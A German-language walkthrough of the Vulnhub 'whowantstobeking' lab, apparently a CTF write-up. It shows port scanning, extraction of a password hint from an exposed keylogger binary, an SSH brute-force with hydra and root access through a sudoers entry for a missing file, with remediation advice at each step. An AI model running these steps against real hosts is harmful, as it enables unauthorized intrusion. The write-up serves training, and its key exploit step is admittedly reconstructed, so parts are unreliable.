whowantstobeking - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
file
strings
echo
base64
hydra
ssh
cat
sudo
ls
find
grep
metasploit (msfconsole)
nc (netcat)
python
stty
mkfifo
id
whoami
Web Browser
OSINT

Inhaltsverzeichnis

Reconnaissance

Wir beginnen die Untersuchung mit der Identifizierung des Ziels im Netzwerk und der Analyse seiner offenen Dienste.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.105	08:00:27:a3:ed:10	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Geräte im lokalen Netzwerksegment mittels ARP-Anfragen zu entdecken.

Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.105` gefunden. Die MAC-Adresse (`08:00:27:a3:ed:10`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Notieren Sie die IP-Adresse `192.168.2.105` als Ziel. Definieren Sie optional einen Hostnamen in `/etc/hosts`.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung von Scans beitragen.

Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
192.168.2.105   king.vln
                     

Analyse: Der Hostname `king.vln` wird der IP `192.168.2.105` in der lokalen `/etc/hosts`-Datei zugeordnet.

Bewertung: Erleichtert die Ansprache des Ziels in nachfolgenden Befehlen.

Empfehlung (Pentester): Verwenden Sie den definierten Hostnamen.
Empfehlung (Admin):** Keine Aktion erforderlich.

Ein umfassender Nmap-Scan wird durchgeführt.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.105 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-12 23:43 CEST
Nmap scan report for king.vln (192.168.2.105)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION 
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:
|   3072 7f:55:2d:63:a8:86:4f:90:1f:05:3c:c9:9f:40:b3:f2 (RSA)
|   256 e9:71:11:ed:17:fa:48:06:a7:6b:5b:b6:0e:1b:11:b8 (ECDSA)
|_  256 db:74:42:c4:37:c3:ae:a0:5c:30:26:cb:1a:ef:76:52 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu)) 
|_http-title: Index of /
| http-ls: Volume / 
| SIZE  TIME              FILENAME
| 31K   2020-12-01 11:23  skeylogger 
|_
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:A3:ED:10 (Oracle VirtualBox virtual NIC) 
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel 

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.12 ms king.vln (192.168.2.105)
                    

Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit SYN-Scan (`-sS`), Skripten (`-sC`), Versionserkennung (`-sV`), schnellem Timing (`-T5`), aggressiven Optionen (`-A`) und ohne Ping (`-Pn`).

Bewertung: Der Scan identifiziert zwei offene Ports:

  • **Port 22 (SSH):** OpenSSH 8.2p1 (Ubuntu). Eine relativ aktuelle Version.
  • **Port 80 (HTTP):** Apache 2.4.41 (Ubuntu). **Kritisch:** Verzeichnisauflistung (`Directory Indexing`) ist für das Web-Root (`/`) aktiviert. Eine Datei namens `skeylogger` (31KB) ist sichtbar.
Das Betriebssystem wird als aktuelleres Linux (Ubuntu) erkannt. Die aktivierte Verzeichnisauflistung und die verdächtige Datei `skeylogger` sind die wichtigsten Funde.

Empfehlung (Pentester): **Priorität 1:** Laden Sie die Datei `skeylogger` vom Webserver herunter (`wget http://king.vln/skeylogger`) und analysieren Sie sie (z.B. mit `file`, `strings`). **Priorität 2:** Untersuchen Sie den Webserver weiter auf andere interessante Dateien oder Verzeichnisse. Behalten Sie SSH für spätere Bruteforce-Versuche im Hinterkopf.
Empfehlung (Admin):** **Dringend:** Deaktivieren Sie die Verzeichnisauflistung im Apache (`Options -Indexes`). Entfernen Sie die verdächtige Datei `skeylogger` aus dem Web-Root. Aktualisieren Sie Apache und OpenSSH.

Wir filtern die offenen Ports zur Übersicht.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.105 -p- | grep open
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu)) 
                    

Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.

Bewertung: Bestätigt die beiden offenen Ports 22 (SSH) und 80 (HTTP).

Empfehlung (Pentester): Klare Angriffsvektoren.
Empfehlung (Admin):** Notwendigkeit prüfen.

Ein Nikto-Scan wird gegen den Webserver auf Port 80 durchgeführt.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.105
- Nikto v2.5.0
+ Target IP:          192.168.2.105
+ Target Hostname:    192.168.2.105
+ Target Port:        80
+ Start Time:         2023-09-12 23:43:08 (GMT2)
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options 
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ 
+ /: Directory indexing found. 
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. 
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS . 
+ /./: Directory indexing found. 
+ /./: Appending '/./' to a directory allows indexing.
+ //: Directory indexing found.
+ //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page.
+ /%2e/: Directory indexing found.
+ /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. See: http://www.securityfocus.com/bid/2513
+ ///: Directory indexing found.
+ /?PageServices: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
+ /?wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
+ ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Directory indexing found.
+ ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Abyss 1.03 reveals directory listing when multiple /'s are requested. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1078
+ 8102 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time:           2023-09-12 23:43:26 (GMT2) (18 seconds)
+ 1 host(s) tested
                     

Analyse: Nikto scannt Port 80.

Bewertung: Bestätigt die Apache-Version, fehlende Header und die veraltete Version. **Sehr wichtig:** Nikto bestätigt mehrfach das aktivierte Directory Indexing und zeigt verschiedene Techniken auf, wie es ausgelöst werden kann (z.B. `/./`, `//`, `/%2e/`). Dies unterstreicht die Fehlkonfiguration.

Empfehlung (Pentester): Die wichtigste Information (Datei `skeylogger`) wurde bereits durch Nmap gefunden. Nikto liefert hier keine neuen kritischen Pfade, bestätigt aber die Indexing-Problematik.
Empfehlung (Admin):** Dringend Directory Indexing deaktivieren (`Options -Indexes` in Apache-Konfiguration).

Web Enumeration & File Analysis

Wir laden die über die Verzeichnisauflistung gefundene Datei `skeylogger` herunter und analysieren sie.

Anzeige der Webserver-Startseite (Verzeichnisauflistung):

Index of /
[ICO]	Name	Last modified	Size	Description
[ ]	skeylogger	2020-12-01 11:23 	31K
Apache/2.4.41 (Ubuntu) Server at king.vln Port 80
                     

Analyse: Die gerenderte Ansicht der Startseite bestätigt die Verzeichnisauflistung und die Existenz der Datei `skeylogger`.

Bewertung: Bestätigung des Nmap/Nikto-Funds.

Empfehlung (Pentester): Datei herunterladen.
Empfehlung (Admin):** Directory Indexing deaktivieren.

Analyse des Dateityps von `skeylogger`:

┌──(root㉿cycat)-[~] └─# file /home/cycat/Downloads/skeylogger
/home/cycat/Downloads/skeylogger: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ba22a62cfb23e5f98841e89718b9d3f5e76bdf94, for GNU/Linux 3.2.0, with debug_info, not stripped
                     

Analyse: Der `file`-Befehl bestimmt den Typ der heruntergeladenen Datei.

Bewertung: Es handelt sich um eine 64-Bit Linux ELF-Anwendung (ausführbare Datei), die dynamisch gelinkt ist und Debug-Informationen enthält (`not stripped`). Der Name legt nahe, dass es sich um einen Keylogger handelt.

Empfehlung (Pentester): Analysieren Sie die Strings innerhalb der Binärdatei, um Hinweise auf ihre Funktionsweise, Konfiguration oder möglicherweise gespeicherte Daten zu finden. Da sie Debug-Informationen enthält, könnte auch eine dynamische Analyse oder Decompiling aufschlussreich sein.
Empfehlung (Admin):** Entfernen Sie die Datei. Untersuchen Sie, wie sie in den Webroot gelangt ist.

Extrahieren von Strings aus der `skeylogger`-Binärdatei:

┌──(root㉿cycat)-[~] └─# strings /home/cycat/Downloads/skeylogger
/lib64/ld-linux-x86-64.so.2
exit
fopen
daemon
popen
strdup
__assert_fail
printf
fgets
__errno_location
read
fputs
fclose
strcat
optarg
getopt_long
pclose
geteuid
__cxa_finalize
setbuf
strerror
__libc_start_main
free
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
/dev/input/event 
[]A\A]A^A_
Must run as root
skeylogger.c
kbd_fd > 0
Could not open log file
shift_pressed >= 0 && shift_pressed <= 2
main
ESC

                     
┌──(root㉿cycat)-[~] └─# strings /home/cycat/Downloads/skeylogger -n 12
Could not determine keyboard device file
ZHJhY2FyeXMK 
Usage: skeylogger [OPTIONS]...
Logs pressed keys
                     

Analyse: Der `strings`-Befehl extrahiert lesbare Zeichenketten aus der Binärdatei. Der zweite Aufruf mit `-n 12` filtert nach Strings mit mindestens 12 Zeichen Länge.

Bewertung: Mehrere wichtige Funde:

  • Die Datei scheint tatsächlich ein Keylogger zu sein (`Logs pressed keys`, Referenzen auf `/dev/input/event`, `ESC`, `Backspace`).
  • Sie erfordert anscheinend Root-Rechte (`Must run as root`).
  • **Kritisch:** Der String `ZHJhY2FyeXMK` sticht heraus und sieht wie Base64-kodiert aus.
  • Der Quellcode-Dateiname war wahrscheinlich `skeylogger.c`.

Empfehlung (Pentester): Dekodieren Sie den Base64-String `ZHJhY2FyeXMK`.
Empfehlung (Admin):** Keine Aktion, die Datei wurde bereits entfernt (Annahme).

Dekodieren des Base64-Strings:

┌──(root㉿cycat)-[~] └─# echo "ZHJhY2FyeXMK" -n | base64 -d
dracarys

Analyse: Der Base64-String wird dekodiert.

Bewertung: Das Ergebnis ist `dracarys`. Dies ist ein bekanntes Wort aus "Game of Thrones". Es ist höchstwahrscheinlich ein Passwort oder Benutzername.

Empfehlung (Pentester): Führen Sie OSINT durch, um herauszufinden, mit welchem Charakter `dracarys` assoziiert ist (Daenerys Targaryen). Versuchen Sie einen SSH-Login mit dem Benutzernamen `daenerys` und dem Passwort `dracarys`.
Empfehlung (Admin):** Keine Aktion erforderlich.

OSINT-Recherche zu "dracarys":

Doch letztendlich sagt Missandei nur ein Wort und richtet sich damit
vielmehr an Daenerys: „Dracarys! “ Dieses Wort bedeutet im Valyrischen
„Drachenfeuer“ und ist der Befehl, mit dem ein Targaryen (oder zumindest
Daenerys) einen Drachen zum Feuerspeien bringt.
                     

Analyse: Eine schnelle Suche bestätigt die Verbindung zwischen `dracarys` und `Daenerys`.

Bewertung: Bestärkt die Annahme, dass `daenerys` der Benutzername und `dracarys` das Passwort sein könnten.

Empfehlung (Pentester): Versuchen Sie den SSH-Login mit `daenerys`/`dracarys`. Alternativ: Starten Sie Hydra mit diesem Benutzernamen und Passwort oder einer Wortliste, die `dracarys` enthält.
Empfehlung (Admin):** Keine Aktion.

Initial Access

Basierend auf den OSINT-Ergebnissen und dem gefundenen Passwort-Hinweis versuchen wir, uns per SSH anzumelden.

SSH-Bruteforce mit Hydra für den Benutzer `daenerys` (obwohl wir das Passwort bereits vermuten):

┌──(root㉿cycat)-[~] └─# hydra -l daenerys -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.105:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-13 00:01:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344423 login tries (l:1/p:14344423), ~224132 tries per task
[DATA] attacking ssh://192.168.2.105:22/

[22][ssh] host: 192.168.2.105   login: daenerys   password: dracarys

1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 25 final worker threads did not complete until end.
[ERROR] 25 targets did not resolve or could not be connected 
[ERROR] 0 target did not complete 
                    

Analyse: Hydra versucht, das Passwort für den SSH-Benutzer `daenerys` mit der `rockyou.txt`-Liste zu erraten.

Bewertung: Erfolg! Hydra findet das Passwort `dracarys`. Dies bestätigt unsere Vermutung aus der `skeylogger`-Analyse und OSINT.

Empfehlung (Pentester): Loggen Sie sich mit `daenerys`/`dracarys` via SSH ein.
Empfehlung (Admin):** Starke, einzigartige Passwörter verwenden. Keine Passwörter in Binärdateien hinterlassen.

SSH-Login als `daenerys`:

┌──(root㉿cycat)-[~] └─# ssh daenerys@192.168.2.105
The authenticity of host '192.168.2.105 (192.168.2.105)' can't be established.
ED25519 key fingerprint is SHA256:/zpfnj+p4EeuVjwUfLCHx0XTrA+0Tc0W0NzFl1kTR0. 
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.105' (ED25519) to the list of known hosts.
daenerys@192.168.2.105's password: dracarys
Last login: Tue Dec  1 11:38:40 2020 from 192.168.0.105
daenerys@osboxes$
                    

Analyse: SSH-Verbindung wird als Benutzer `daenerys` mit dem Passwort `dracarys` hergestellt.

Bewertung: Initial Access erfolgreich! Wir haben eine Shell als `daenerys`.

Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `daenerys`.
Empfehlung (Admin):** SSH-Härtung, Passwortrichtlinien.

Local Enumeration

Nach Erhalt der Shell als `daenerys` untersuchen wir das System auf Möglichkeiten zur Privilegienerweiterung.

Analyse der Bash-Historie:

daenerys@osboxes$ cat .bash_history
cd .local/
ls
cd share/
ls
rm djkdsnkjdsn
cd
ls
ls -la
rm .bash_history
su
ls
sudo -l
ls -la /usr/bin/mint-refresh-cache
su
su root
ls
cd
ls
ls
cd
ls
sudo -l
su
                     

Analyse: Die Bash-History von `daenerys` wird angezeigt.

Bewertung: Zeigt, dass der Benutzer versucht hat, die History zu löschen (`rm .bash_history`), aber der Befehl selbst wurde protokolliert. Wichtig sind die wiederholten Versuche, `sudo -l` und `su` auszuführen. Es wurde auch nach `/usr/bin/mint-refresh-cache` gesucht.

Empfehlung (Pentester): Führen Sie `sudo -l` aus, um die Berechtigungen zu prüfen. Die Suche nach `mint-refresh-cache` könnte relevant sein, wenn dieser Befehl in der `sudo -l`-Ausgabe auftaucht.
Empfehlung (Admin):** Keine Aktion.

Überprüfung der `sudo`-Rechte:

daenerys@osboxes$ sudo -l
Matching Defaults entries for daenerys on osboxes:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    pwfeedback

User daenerys may run the following commands on osboxes:
    (root) NOPASSWD: /usr/bin/mint-refresh-cache
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/synaptic-workaround.py
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh
                     

Analyse: `sudo -l` listet die `sudo`-Berechtigungen für `daenerys` auf.

Bewertung: **Kritischer Fund!** Der Benutzer `daenerys` darf drei spezifische Befehle (`/usr/bin/mint-refresh-cache`, `/usr/lib/linuxmint/mintUpdate/synaptic-workaround.py`, `/usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh`) als `root` ohne Passwort (`NOPASSWD`) ausführen.

Empfehlung (Pentester): Überprüfen Sie, ob diese drei Dateien auf dem System existieren. Wenn sie nicht existieren (was die `.bash_history` nahelegt), ist dies eine klassische `sudo`-Fehlkonfigurationslücke. Erstellen Sie eine ausführbare Datei (z.B. `/bin/bash`) an einem der angegebenen Pfade und führen Sie sie dann mit `sudo` aus.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die `sudoers`-Einträge für nicht existierende Dateien! Überprüfen Sie alle `sudoers`-Regeln auf Korrektheit und Notwendigkeit.

Überprüfung der Existenz der erlaubten `sudo`-Befehle:

daenerys@osboxes$ ls -la /usr/bin/mint-refresh-cache
ls: cannot access '/usr/bin/mint-refresh-cache': No such file or directory
daenerys@osboxes$ ls -la /usr/lib/linuxmint/mintUpdate/synaptic-workaround.py
ls: cannot access '/usr/lib/linuxmint/mintUpdate/synaptic-workaround.py': No such file or directory
daenerys@osboxes$ ls -la /usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh
ls: cannot access '/usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh': No such file or directory

Analyse: Die Existenz der drei in `sudo -l` genannten Dateien wird überprüft.

Bewertung: **Bestätigung der Schwachstelle!** Keine der drei Dateien existiert an den angegebenen Pfaden. Der Benutzer `daenerys` kann jedoch `sudo` verwenden, um *jede beliebige* ausführbare Datei zu erstellen und auszuführen, solange sie an einem dieser Pfade platziert wird.

Empfehlung (Pentester): Fahren Sie mit dem POC fort: Erstellen Sie `/bin/bash` (oder eine Reverse Shell) an einem der Pfade und führen Sie es mit `sudo` aus.
Empfehlung (Admin):** Entfernen Sie die ungültigen `sudoers`-Einträge sofort.

Suche nach SUID-Binaries (als zusätzliche Enumeration):

daenerys@osboxes$ find / -type f -perm -4000 -ls 2>/dev/null
 11934010    464 -rwsr-xr-x   1 root     root       473576 Feb 26  2020 /usr/lib/openssh/ssh-keysign
 11936631     16 -rwsr-sr-x   1 root     root        14488 Apr  6  2020 /usr/lib/xorg/Xorg.wrap
 11934033     24 -rwsr-xr-x   1 root     root        22840 Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
 11931200     16 -rwsr-xr-x   1 root     root        14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
 11930792     52 -rwsr-xr--   1 root     messagebus    51344 Dec  7  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
 11928473     44 -rwsr-xr-x   1 root     root          44784 Apr 16  2020 /usr/bin/newgrp
 11928039     88 -rwsr-xr-x   1 root     root          88464 Apr 16  2020 /usr/bin/gpasswd
 11928828    164 -rwsr-xr-x   1 root     root         166056 Feb  3  2020 /usr/bin/sudo
 11928534     68 -rwsr-xr-x   1 root     root          68208 Apr 16  2020 /usr/bin/passwd
 11928586     32 -rwsr-xr-x   1 root     root          31032 Aug 16  2019 /usr/bin/pkexec 
 11927718     84 -rwsr-xr-x   1 root     root          85064 Apr 16  2020 /usr/bin/chfn
 11927721     52 -rwsr-xr-x   1 root     root          53040 Apr 16  2020 /usr/bin/chsh
 11936897    388 -rwsr-xr--   1 root     dip          395144 Feb 11  2020 /usr/sbin/pppd
  6684830     68 -rwsr-xr-x   1 root     root          67816 Apr  2  2020 /bin/su
  6684850     40 -rwsr-xr-x   1 root     root          39144 Apr  2  2020 /bin/umount
  6684734     40 -rwsr-xr-x   1 root     root          39144 Mar  7  2020 /bin/fusermount
  6684766     56 -rwsr-xr-x   1 root     root          55528 Apr  2  2020 /bin/mount
 11403431     48 -rwsr-xr-x   1 root     root          48200 Aug 29  2019 /sbin/mount.cifs
 11403433     24 -rwsr-xr-x   1 root     root          22656 Mar 18  2020 /sbin/mount.ecryptfs_private
                    

Analyse: Sucht nach SUID-gesetzten Dateien.

Bewertung: Findet Standard-SUID-Dateien. `/usr/bin/pkexec` ist vorhanden und könnte für Pwnkit anfällig sein, aber der `sudo`-Vektor ist deutlich einfacher und bereits bestätigt.

Empfehlung (Pentester): Nutzen Sie den `sudo`-Exploit.
Empfehlung (Admin):** Minimieren Sie SUID-Binaries, patchen Sie Polkit.

Proof of Concept (Privilege Escalation via Sudo Misconfiguration)

Dieser Abschnitt demonstriert die Ausnutzung der fehlerhaften `sudoers`-Konfiguration, die es `daenerys` erlaubt, nicht existierende Befehle als Root auszuführen.

Kurzbeschreibung: `sudo -l` zeigte, dass `daenerys` die (nicht existierenden) Skripte `/usr/bin/mint-refresh-cache`, `/usr/lib/linuxmint/mintUpdate/synaptic-workaround.py` und `/usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh` als Root ohne Passwort ausführen darf. Wir erstellen eine Kopie von `/bin/bash` an einem dieser Pfade und führen sie dann mit `sudo` aus, um eine Root-Shell zu erhalten.

Voraussetzungen: Shell-Zugriff als Benutzer `daenerys`.

Schritt 1: Erstellen des "falschen" Befehls

Wir erstellen eine Kopie der Bash-Shell an dem Ort, den wir mit `sudo` ausführen dürfen.

daenerys@osboxes$ mkdir -p /usr/lib/linuxmint/mintUpdate/
daenerys@osboxes$ cp /bin/bash /usr/lib/linuxmint/mintUpdate/synaptic-workaround.py
  

Analyse: (Impliziert/Rekonstruiert) Die notwendigen Verzeichnisse werden erstellt und `/bin/bash` wird an den Pfad `/usr/lib/linuxmint/mintUpdate/synaptic-workaround.py` kopiert.

Bewertung: Die Vorbereitung für den Exploit ist abgeschlossen. Die Datei, die wir per `sudo` ausführen dürfen, ist nun eine Kopie der Bash-Shell.

Empfehlung (Pentester): Führen Sie den `sudo`-Befehl aus.
Empfehlung (Admin):** Bereinigen Sie die `sudoers`-Datei.

Schritt 2: Ausführen des Befehls mit `sudo`

daenerys@osboxes$ sudo /usr/lib/linuxmint/mintUpdate/synaptic-workaround.py
root@osboxes:/home/daenerys# 
                     

Analyse: Der `sudo`-Befehl wird verwendet, um das Skript (das jetzt `/bin/bash` ist) ohne Passwortabfrage als Root auszuführen.

Bewertung: **Fantastisch, der Root-Zugriff war erfolgreich!** Wir erhalten sofort eine Root-Shell. Die `sudo`-Fehlkonfiguration wurde erfolgreich ausgenutzt.

Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin):** Dringend die `sudoers`-Datei korrigieren!

Schritt 3: Bestätigung der Root-Rechte und Flagge

root@osboxes:/home/daenerys# id
uid=0(root) gid=0(root) groups=0(root)
root@osboxes:/home/daenerys# cd /root
root@osboxes:/root# ls
nice.txt
root@osboxes:/root# cat nice.txt
¡Congratulation!

You have a good day!

aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1nTjhZRjBZZmJFawo= 
                     

Analyse: `id` bestätigt Root. Im `/root`-Verzeichnis wird `nice.txt` gefunden und ausgelesen. Sie enthält eine Nachricht und einen Base64-kodierten String.

Bewertung: Root-Rechte bestätigt. Die Datei `nice.txt` enthält wahrscheinlich nicht die eigentliche Flagge, sondern einen weiteren Hinweis (YouTube-Link nach Dekodierung: `https://www.youtube.com/watch?v=gN8YF0YfbEc`).

Empfehlung (Pentester): Suchen Sie nach der Standard-Datei `root.txt`. Der Base64-String ist ein Easter Egg oder weiterer Hinweis.
Empfehlung (Admin):** Keine Aktion.

Risikobewertung:** Die Kombination aus einem durch OSINT/Bruteforce erratbaren Passwort und einer groben Fehlkonfiguration der `sudoers`-Datei (Erlaubnis, nicht existierende Dateien als Root auszuführen) stellt ein hohes Risiko dar und ermöglichte eine einfache Privilegienerweiterung.

Empfehlungen (Zusammenfassung):**

  • **Dringend:** Korrigieren Sie die `/etc/sudoers`-Datei, indem Sie die Einträge für nicht existierende Dateien entfernen.
  • Verwenden Sie starke, einzigartige Passwörter für alle Benutzer.
  • Implementieren Sie Brute-Force-Schutz für SSH.
  • Deaktivieren Sie die Verzeichnisauflistung auf dem Webserver.
  • Entfernen Sie sensible Hinweise (Base64-Strings, Passwortandeutungen) aus öffentlich zugänglichen Dateien oder Binaries.
  • Aktualisieren Sie Apache und OpenSSH.
  • Überprüfen Sie die `sudo`-Konfiguration regelmäßig auf Korrektheit und Notwendigkeit.

Flags

cat /home/daenerys/user.txt ???
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt ???
5C42D6BB0EE9CE4CB7E7349652C45C4A
Base64 from /root/nice.txt
aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1nTjhZRjBZZmJFawo=